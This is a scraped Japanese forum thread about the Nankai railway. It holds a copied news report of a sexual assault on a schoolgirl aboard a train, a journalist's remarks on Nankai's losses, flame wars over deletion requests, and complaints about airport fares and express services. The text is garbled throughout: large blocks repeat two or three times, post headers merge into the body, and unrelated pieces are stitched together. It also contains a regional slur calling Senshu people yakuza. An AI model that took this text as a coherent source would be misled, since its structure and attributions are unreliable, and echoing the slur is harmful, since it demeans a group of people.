１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。
少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、
同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに
連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。
同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html
大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。
少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、
同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに
連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。
同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html
「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、
大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが
南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、
これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」
（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、
連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。
こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが
南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、
これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」
（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、
連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。
こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
先日、難波界隈でひったくりか何かでパトカーが奔走しているの見て、実感。
あっちにレスするのはけったくそ悪いんで・・・完全に悪意に満ちてるよな
毎日１編成４両が日中住之江で点検受けるんだよな
そんなの阪急さんに比べたら“主回路機器も流用で30年以上”なんてまだ青二才のうちですよ。
毎日１編成４両が日中住之江で点検受けるんだよな
そんなの阪急さんに比べたら“主回路機器も流用で30年以上”なんてまだ青二才のうちですよ。
181 名前：”削除”必要なし 投稿日：2006/05/07(日) 02:33:56 HOST:softbank219211024205.bbtec.net
http://qb5.2ch.net/test/read.cgi/saku/1135406546/157-162
http://qb5.2ch.net/test/read.cgi/saku/1135406546/164
http://qb5.2ch.net/test/read.cgi/saku/1135406546/166
http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
の南海スレ住人の依頼であるが、
削除対象の文面を見る限り、コピペとはいえど真っ当なことを言っており、
荒らしには該当せずまったく問題は無い。
むしろスレ住人が南海に対する批判や否定をかわすことを狙ってるとみている。
よって削除の必要は全くない。南海スレ住人の依頼はスルーで。
マジレスしてやるが、ここは本スレに書かれたことをコピペを貼り付ける場所じゃない。
まっとうな議論をしたければ本スレでやれ。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/157-162
http://qb5.2ch.net/test/read.cgi/saku/1135406546/164
http://qb5.2ch.net/test/read.cgi/saku/1135406546/166
http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
の南海スレ住人の依頼であるが、
削除対象の文面を見る限り、コピペとはいえど真っ当なことを言っており、
荒らしには該当せずまったく問題は無い。
むしろスレ住人が南海に対する批判や否定をかわすことを狙ってるとみている。
よって削除の必要は全くない。南海スレ住人の依頼はスルーで。
マジレスしてやるが、ここは本スレに書かれたことをコピペを貼り付ける場所じゃない。
まっとうな議論をしたければ本スレでやれ。
そら・・・アカン は（ｗ
さすがヤクザの泉州人。「刑務所」と言えば解決すると本気で思ってるんだな。
113 ：名無しでGO!：2006/05/08(月) 00:39:27 ID:JlQ5+WLT0
ラピートは、停車駅を増やして所要時間を延ばすたびに乗車率が下がっている。
JRのはるかはおろか、何と今や関空快速にすら負けているという。早くこの悪循環を断ち切らなければならない。
停車駅を新今宮・泉佐野だけに絞れば、昔のような速達性が戻り、昔の客も戻る上、
普段はるかを使う関空への客を奪えるし、泉佐野以南へ行く客も拾え、これで乗車率はぐんと上がり、はるかや関空快速に負けるようなこともありえない。
昔のような速達性を取り戻すことが、ラピートにとって一番の特効薬だろう。和歌山市駅----橋本駅片道運賃(大人) \ 1,140 和歌山市駅----橋本駅片道運賃(大人) \ 820
阪和線に手抜き勝負吹っかけられる南海、舐められすぎ！終わっとる。 157 ：南海スレ住人：2006/04/08(土) 21:03:28 HOST:ZL174161.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/rail/1143986111/30-32,35,38削除理由・詳細・その他：６．連続投稿・重複
連続投稿・コピー＆ペーストコピペ元スレ【蛸地蔵←】南海電気鉄道ｽﾚｯﾄﾞNa66【⇒二色浜】DAT落ちhttp://hobby7.2ch.net/test/read.cgi/rail/1143007845/
【貝塚←】南海電気鉄道ｽﾚｯﾄﾞNa67【⇒鶴原】http://hobby7.2ch.net/test/read.cgi/rail/1143986111/
いくつかのコピペを結合して投稿しています。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/157
JRのはるかはおろか、何と今や関空快速にすら負けているという。早くこの悪循環を断ち切らなければならない。
停車駅を新今宮・泉佐野だけに絞れば、昔のような速達性が戻り、昔の客も戻る上、
普段はるかを使う関空への客を奪えるし、泉佐野以南へ行く客も拾え、これで乗車率はぐんと上がり、はるかや関空快速に負けるようなこともありえない。
昔のような速達性を取り戻すことが、ラピートにとって一番の特効薬だろう。和歌山市駅----橋本駅片道運賃(大人) \ 1,140 和歌山市駅----橋本駅片道運賃(大人) \ 820
阪和線に手抜き勝負吹っかけられる南海、舐められすぎ！終わっとる。 157 ：南海スレ住人：2006/04/08(土) 21:03:28 HOST:ZL174161.ppp.dion.ne.jp
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【貝塚←】南海電気鉄道ｽﾚｯﾄﾞNa67【⇒鶴原】http://hobby7.2ch.net/test/read.cgi/rail/1143986111/
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158 ：南海スレ住人：2006/04/08(土) 21:05:04 HOST:ZL174161.ppp.dion.ne.jp
すみません削除対象アドレスを間違えました。正しくはhttp://hobby7.2ch.net/test/read.cgi/train/1141056257/30-32,35,38です。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/158159：南海スレ住人：2006/04/09(日) 21:05:43 HOST:ZL174161.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/40-44
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【貝塚←】南海電気鉄道ｽﾚｯﾄﾞNa67【⇒鶴原】
http://hobby7.2ch.net/test/read.cgi/rail/1143986111/いくつかのコピペを結合して投稿しています。よろしくお願いします。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/159 160 ：南海スレ住人：2006/04/13(木) 21:18:46 HOST:ZD252251.ppp.dion.ne.jp
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６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【貝塚←】南海電気鉄道ｽﾚｯﾄﾞNa67【⇒鶴原】http://hobby7.2ch.net/test/read.cgi/rail/1143986111/
584,627,631,657,717を結合して投稿しています。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/160
161：南海スレ住人：2006/04/16(日) 05:45:33 HOST:ZL173193.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/ 60削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【貝塚←】南海電気鉄道ｽﾚｯﾄﾞNa67【⇒鶴原】 DAT落ちhttp://hobby7.2ch.net/test/read.cgi/rail/1143986111/657
何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/161
すみません削除対象アドレスを間違えました。正しくはhttp://hobby7.2ch.net/test/read.cgi/train/1141056257/30-32,35,38です。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/158159：南海スレ住人：2006/04/09(日) 21:05:43 HOST:ZL174161.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/40-44
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http://hobby7.2ch.net/test/read.cgi/rail/1143986111/いくつかのコピペを結合して投稿しています。よろしくお願いします。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/159 160 ：南海スレ住人：2006/04/13(木) 21:18:46 HOST:ZD252251.ppp.dion.ne.jp
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161：南海スレ住人：2006/04/16(日) 05:45:33 HOST:ZL173193.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/ 60削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【貝塚←】南海電気鉄道ｽﾚｯﾄﾞNa67【⇒鶴原】 DAT落ちhttp://hobby7.2ch.net/test/read.cgi/rail/1143986111/657
何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/161
164：南海スレ住人：2006/04/23(日) 21:06:40 HOST:ZL172217.ppp.dion.ne.jp
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削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【二色浜←】南海電気鉄道ｽﾚｯﾄﾞNa68【⇒井原里】http://hobby7.2ch.net/test/read.cgi/rail/1144943132/
209,211-212,216,420,443を結合して投稿しています。何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/164
166 ：南海スレ住人：2006/04/24(月) 19:27:48 HOST:N087230.ppp.dion.ne.jp削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/
78,80,81削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【二色浜←】南海電気鉄道ｽﾚｯﾄﾞNa68【⇒井原里】
http://hobby7.2ch.net/test/read.cgi/rail/1144943132/786,803,814何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/166
179 ：南海スレ住人：2006/05/06(土) 20:05:24 HOST:ZL174131.ppp.dion.ne.jp削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/83,85,88,91-98
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/
117,388,759,823,843,844,851,853,855,858,861,866,872何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/65-68,75
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【二色浜←】南海電気鉄道ｽﾚｯﾄﾞNa68【⇒井原里】http://hobby7.2ch.net/test/read.cgi/rail/1144943132/
209,211-212,216,420,443を結合して投稿しています。何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/164
166 ：南海スレ住人：2006/04/24(月) 19:27:48 HOST:N087230.ppp.dion.ne.jp削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/
78,80,81削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【二色浜←】南海電気鉄道ｽﾚｯﾄﾞNa68【⇒井原里】
http://hobby7.2ch.net/test/read.cgi/rail/1144943132/786,803,814何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/166
179 ：南海スレ住人：2006/05/06(土) 20:05:24 HOST:ZL174131.ppp.dion.ne.jp削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/83,85,88,91-98
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/
117,388,759,823,843,844,851,853,855,858,861,866,872何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
181 ：”削除”必要なし ：2006/05/07(日) 02:33:56 HOST:softbank219211024205.bbtec.nethttp://qb5.2ch.net/test/read.cgi/saku/1135406546/157-162
http://qb5.2ch.net/test/read.cgi/saku/1135406546/164http://qb5.2ch.net/test/read.cgi/saku/1135406546/166http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
の南海スレ住人の依頼であるが、削除対象の文面を見る限り、コピペとはいえど真っ当なことを言っており、荒らしには該当せずまったく問題は無い。
むしろスレ住人が南海に対する批判や否定をかわすことを狙ってるとみている。よって削除の必要は全くない。南海スレ住人の依頼はスルーで。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/181 182 ：南海スレ住人：2006/05/07(日) 19:30:47 HOST:ZL175245.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/99,101,103-108削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/884,933,1000【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
http://hobby7.2ch.net/test/read.cgi/rail/1146932522/11,42【阪和線に】南海電気鉄道スレッドNa70【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/3,5-6
何度も何度もすみません。よろしくお願いします。>>181こちらでも書いておくが、南海と関空 ２のスレはコピペを貼り付けるところではない。議論は本スレでやってください。
188 ：”削除”必要なし ：2006/05/08(月) 22:30:02 HOST:softbank219211024205.bbtec.net>>182まったく問題は無い連投にも該当しない、スルーしろ
むしろ南海への批判や否定や提言、揶揄を封じ込めようとするヲタたちの体質のほうが問題だ。http://qb5.2ch.net/test/read.cgi/saku/1135406546/188これからも南海スレの癌である
引っ越し厨の動向を監視し、随時報告していきます。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/164http://qb5.2ch.net/test/read.cgi/saku/1135406546/166http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
の南海スレ住人の依頼であるが、削除対象の文面を見る限り、コピペとはいえど真っ当なことを言っており、荒らしには該当せずまったく問題は無い。
むしろスレ住人が南海に対する批判や否定をかわすことを狙ってるとみている。よって削除の必要は全くない。南海スレ住人の依頼はスルーで。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/181 182 ：南海スレ住人：2006/05/07(日) 19:30:47 HOST:ZL175245.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/99,101,103-108削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/884,933,1000【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
http://hobby7.2ch.net/test/read.cgi/rail/1146932522/11,42【阪和線に】南海電気鉄道スレッドNa70【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/3,5-6
何度も何度もすみません。よろしくお願いします。>>181こちらでも書いておくが、南海と関空 ２のスレはコピペを貼り付けるところではない。議論は本スレでやってください。
188 ：”削除”必要なし ：2006/05/08(月) 22:30:02 HOST:softbank219211024205.bbtec.net>>182まったく問題は無い連投にも該当しない、スルーしろ
むしろ南海への批判や否定や提言、揶揄を封じ込めようとするヲタたちの体質のほうが問題だ。http://qb5.2ch.net/test/read.cgi/saku/1135406546/188これからも南海スレの癌である
引っ越し厨の動向を監視し、随時報告していきます。
はいはい引っ越し厨引っ越し厨アク禁を恐れて必死だなw
随分と必死なところを見ると、引っ越し厨確定だな
120 ：ZL175145.ppp.dion.ne.jp：2006/05/11(木) 18:48:26 ID:LRSuMRYM0
http://qb5.2ch.net/test/read.cgi/saku/1135406546/188
>むしろ南海への批判や否定や提言、揶揄を封じ込めようとする
>ヲタたちの体質のほうが問題だ。
このスレは本スレの書き込みをコピペするところではありません。
南海ヲタの体質について語りたいのであれば、本スレもしくはそれ専用のスレ立てを行いそちらで行って下さい。
あと、本スレに削除依頼をコピペしている方へ
引っ越し厨がウザイのは私も同じですが、本スレで引っ越し厨を煽る行為は控えていただけませんか？
春木を優遇するのは競艇場があるからだろ赤エンピツを耳に挟んだおっちゃんよく見るし
南海にしてみれば貴重な収入源なんだろうよ もうじき７月より有効の株主乗車証が送られてくるが、
ＩＣカード化されているだろうか？株主乗車証は７月１１日から有効なので無理はなさそうだが。
汐見橋線は見た範囲ではＩＣ対応改札機を見かけなかったが、全線でＩＣ化の予定なんだが。
もしかして車両側で対応させる方が安いとかで改札機はそのままかも。
汐見橋線での入場は、乗車証明書で改札を入り乗務員に提示してＩＣカード処理とか？
出場は、ＩＣカード処理後に乗務員から改札通過用の磁気券を手渡されるとか？
株主優待は、遊園地の券より特急券引換券の方が個人的には喜ばしい。せめて選ばしてくれよと。
バスは以前のように無料化すべきだな。 194 ：南海スレ住人：2006/05/11(木) 18:43:20 HOST:ZL175145.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/111-112,114-119
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】http://hobby7.2ch.net/test/read.cgi/rail/1146932522/
89,117,212-213,225,280,284-286,288-289,291-295,297,304,315何度も何度もすみません。よろしくお願いします。
120：ZL175145.ppp.dion.ne.jp：2006/05/11(木)18:48:26ID:LRSuMRYM0http://qb5.2ch.net/test/read.cgi/saku/1135406546/188
>むしろ南海への批判や否定や提言、揶揄を封じ込めようとする>ヲタたちの体質のほうが問題だ。
このスレは本スレの書き込みをコピペするところではありません。
南海ヲタの体質について語りたいのであれば、本スレもしくはそれ専用のスレ立てを行いそちらで行って下さい。
あと、本スレに削除依頼をコピペしている方へ引っ越し厨がウザイのは私も同じですが、
本スレで引っ越し厨を煽る行為は控えていただけませんか？http://hobby7.2ch.net/test/read.cgi/train/1141056257/120
南海にしてみれば貴重な収入源なんだろうよ もうじき７月より有効の株主乗車証が送られてくるが、
ＩＣカード化されているだろうか？株主乗車証は７月１１日から有効なので無理はなさそうだが。
汐見橋線は見た範囲ではＩＣ対応改札機を見かけなかったが、全線でＩＣ化の予定なんだが。
もしかして車両側で対応させる方が安いとかで改札機はそのままかも。
汐見橋線での入場は、乗車証明書で改札を入り乗務員に提示してＩＣカード処理とか？
出場は、ＩＣカード処理後に乗務員から改札通過用の磁気券を手渡されるとか？
株主優待は、遊園地の券より特急券引換券の方が個人的には喜ばしい。せめて選ばしてくれよと。
バスは以前のように無料化すべきだな。 194 ：南海スレ住人：2006/05/11(木) 18:43:20 HOST:ZL175145.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/111-112,114-119
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】http://hobby7.2ch.net/test/read.cgi/rail/1146932522/
89,117,212-213,225,280,284-286,288-289,291-295,297,304,315何度も何度もすみません。よろしくお願いします。
120：ZL175145.ppp.dion.ne.jp：2006/05/11(木)18:48:26ID:LRSuMRYM0http://qb5.2ch.net/test/read.cgi/saku/1135406546/188
>むしろ南海への批判や否定や提言、揶揄を封じ込めようとする>ヲタたちの体質のほうが問題だ。
このスレは本スレの書き込みをコピペするところではありません。
南海ヲタの体質について語りたいのであれば、本スレもしくはそれ専用のスレ立てを行いそちらで行って下さい。
あと、本スレに削除依頼をコピペしている方へ引っ越し厨がウザイのは私も同じですが、
本スレで引っ越し厨を煽る行為は控えていただけませんか？http://hobby7.2ch.net/test/read.cgi/train/1141056257/120
続いては引っ越し返し181 ：”削除”必要なし：2006/05/07(日)02:33:56 HOST:softbank219211024205.bbtec.nethttp://qb5.2ch.net/test/read.cgi/saku/1135406546/157-162
http://qb5.2ch.net/test/read.cgi/saku/1135406546/164http://qb5.2ch.net/test/read.cgi/saku/1135406546/166http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
の南海スレ住人の依頼であるが、削除対象の文面を見る限り、コピペとはいえど真っ当なことを言っており、荒らしには該当せずまったく問題は無い。
むしろスレ住人が南海に対する批判や否定をかわすことを狙ってるとみている。よって削除の必要は全くない。南海スレ住人の依頼はスルーで。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/181 182 ：南海スレ住人：2006/05/07(日) 19:30:47 HOST:ZL175245.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/99,101,103-108削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/884,933,1000【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
http://hobby7.2ch.net/test/read.cgi/rail/1146932522/11,42【阪和線に】南海電気鉄道スレッドNa70【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/3,5-6
何度も何度もすみません。よろしくお願いします。>>181こちらでも書いておくが、南海と関空 ２のスレはコピペを貼り付けるところではない。議論は本スレでやってください。
188 ：”削除”必要なし ：2006/05/08(月) 22:30:02 HOST:softbank219211024205.bbtec.net>>182まったく問題は無い連投にも該当しない、スルーしろ
むしろ南海への批判や否定や提言、揶揄を封じ込めようとするヲタたちの体質のほうが問題だ。http://qb5.2ch.net/test/read.cgi/saku/1135406546/188これからも南海スレの癌である
引っ越し厨の動向を監視し、随時報告していきます。http://hobby7.2ch.net/test/read.cgi/train/1141056257/117
http://qb5.2ch.net/test/read.cgi/saku/1135406546/164http://qb5.2ch.net/test/read.cgi/saku/1135406546/166http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
の南海スレ住人の依頼であるが、削除対象の文面を見る限り、コピペとはいえど真っ当なことを言っており、荒らしには該当せずまったく問題は無い。
むしろスレ住人が南海に対する批判や否定をかわすことを狙ってるとみている。よって削除の必要は全くない。南海スレ住人の依頼はスルーで。
http://qb5.2ch.net/test/read.cgi/saku/1135406546/181 182 ：南海スレ住人：2006/05/07(日) 19:30:47 HOST:ZL175245.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/99,101,103-108削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ
【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/884,933,1000【井原里←】南海電鉄ｽﾚN70【⇒羽倉崎/ﾘんくうﾀｳﾝ】
http://hobby7.2ch.net/test/read.cgi/rail/1146932522/11,42【阪和線に】南海電気鉄道スレッドNa70【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/3,5-6
何度も何度もすみません。よろしくお願いします。>>181こちらでも書いておくが、南海と関空 ２のスレはコピペを貼り付けるところではない。議論は本スレでやってください。
188 ：”削除”必要なし ：2006/05/08(月) 22:30:02 HOST:softbank219211024205.bbtec.net>>182まったく問題は無い連投にも該当しない、スルーしろ
むしろ南海への批判や否定や提言、揶揄を封じ込めようとするヲタたちの体質のほうが問題だ。http://qb5.2ch.net/test/read.cgi/saku/1135406546/188これからも南海スレの癌である
引っ越し厨の動向を監視し、随時報告していきます。http://hobby7.2ch.net/test/read.cgi/train/1141056257/117
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣｣―――――――――――――‐┬┘|＿＿＿＿.＿＿＿＿|||||||∧＿∧||||（´∀｀）つミ|||/⊃ﾉ||みんなの迷惑・引っ越し厨￣￣￣￣'￣￣￣￣||
もういっちょ引っ越し返し116 ：名無しでGO!：2006/05/10(水) 23:31:32 ID:LOM7nhF+0164：南海スレ住人：2006/04/23(日) 21:06:40 HOST:ZL172217.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/65-68,75
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【二色浜←】南海電気鉄道ｽﾚｯﾄﾞNa68【⇒井原里】http://hobby7.2ch.net/test/read.cgi/rail/1144943132/
209,211-212,216,420,443を結合して投稿しています。何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/164
166 ：南海スレ住人：2006/04/24(月) 19:27:48 HOST:N087230.ppp.dion.ne.jp削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/
78,80,81削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【二色浜←】南海電気鉄道ｽﾚｯﾄﾞNa68【⇒井原里】
http://hobby7.2ch.net/test/read.cgi/rail/1144943132/786,803,814何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/166
179 ：南海スレ住人：2006/05/06(土) 20:05:24 HOST:ZL174131.ppp.dion.ne.jp削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/83,85,88,91-98
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/
117,388,759,823,843,844,851,853,855,858,861,866,872何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
http://hobby7.2ch.net/test/read.cgi/train/1141056257/116
もういっちょ引っ越し返し116 ：名無しでGO!：2006/05/10(水) 23:31:32 ID:LOM7nhF+0164：南海スレ住人：2006/04/23(日) 21:06:40 HOST:ZL172217.ppp.dion.ne.jp
削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/65-68,75
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペースト
コピペ元スレ【二色浜←】南海電気鉄道ｽﾚｯﾄﾞNa68【⇒井原里】http://hobby7.2ch.net/test/read.cgi/rail/1144943132/
209,211-212,216,420,443を結合して投稿しています。何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/164
166 ：南海スレ住人：2006/04/24(月) 19:27:48 HOST:N087230.ppp.dion.ne.jp削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/
78,80,81削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【二色浜←】南海電気鉄道ｽﾚｯﾄﾞNa68【⇒井原里】
http://hobby7.2ch.net/test/read.cgi/rail/1144943132/786,803,814何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/166
179 ：南海スレ住人：2006/05/06(土) 20:05:24 HOST:ZL174131.ppp.dion.ne.jp削除対象アドレス：http://hobby7.2ch.net/test/read.cgi/train/1141056257/83,85,88,91-98
削除理由・詳細・その他：６．連続投稿・重複連続投稿・コピー＆ペーストコピペ元スレ【鶴原←】南海電気鉄道スレッドNa69【⇒泉佐野】http://hobby7.2ch.net/test/read.cgi/rail/1145974517/
117,388,759,823,843,844,851,853,855,858,861,866,872何度も何度もすみません。よろしくお願いします。http://qb5.2ch.net/test/read.cgi/saku/1135406546/179
http://hobby7.2ch.net/test/read.cgi/train/1141056257/116
関空までの運賃が高過ぎる。何とかせい。難波からならなんと和歌山市までと同額の８９０円。
空港駅も構造が悪すぎる。空港駅なのに通路の広い改札機は僅かしかない。
セントレア駅は空港駅では当たり前と幅広タイプで揃えてあったのに。関空がこんなんだなんて今まで知らなかった。
